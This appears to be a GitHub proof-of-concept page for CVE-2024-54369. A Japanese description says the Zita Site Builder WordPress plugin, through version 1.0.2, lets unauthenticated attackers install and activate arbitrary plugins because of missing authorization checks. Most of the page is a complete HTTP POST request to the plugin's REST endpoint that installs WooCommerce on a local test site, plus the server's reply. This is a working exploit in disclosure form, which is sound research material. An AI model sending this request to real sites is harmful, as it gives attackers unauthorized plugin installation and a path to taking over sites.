randomrobbiebf/cve-2024-54369Zita Site Builder <= 1.0.2 - 任意のプラグインインストールに対する認可の欠如
Zita Site Builder <= 1.0.2 - 任意のプラグインインストールに対する認可の欠如
WordPress用のZita Site Builderプラグインは、バージョン1.0.2まで（1.0.2を含む）において、一部の関数に機能の認可チェックが欠如しているため、機能への不正アクセスに対して脆弱です。これにより、認証されていない攻撃者が任意のプラグインをインストールおよび有効化することが可能になります。
POST /wp-json/ai/v1/ai-site-builder HTTP/2
Host: wp-dev.ddev.site
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://wp-dev.ddev.site/wp-admin/admin.php?page=ai-site-builder&template=step
Content-Type: application/json
Content-Length: 245
Origin: https://wp-dev.ddev.site
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
{"params":{"templateType":"free","plugin":{"woocommerce":"Woocommerce"},"allPlugins":[{"woocommerce":"woocommerce/woocommerce.php"}],"builder":"th-shop-mania","themeSlug":"th-shop-mania","proThemePlugin":"hunk-companion","tmplFreePro":"plugin"}}
"\"https:\\\/\\\/wp-dev.ddev.site\""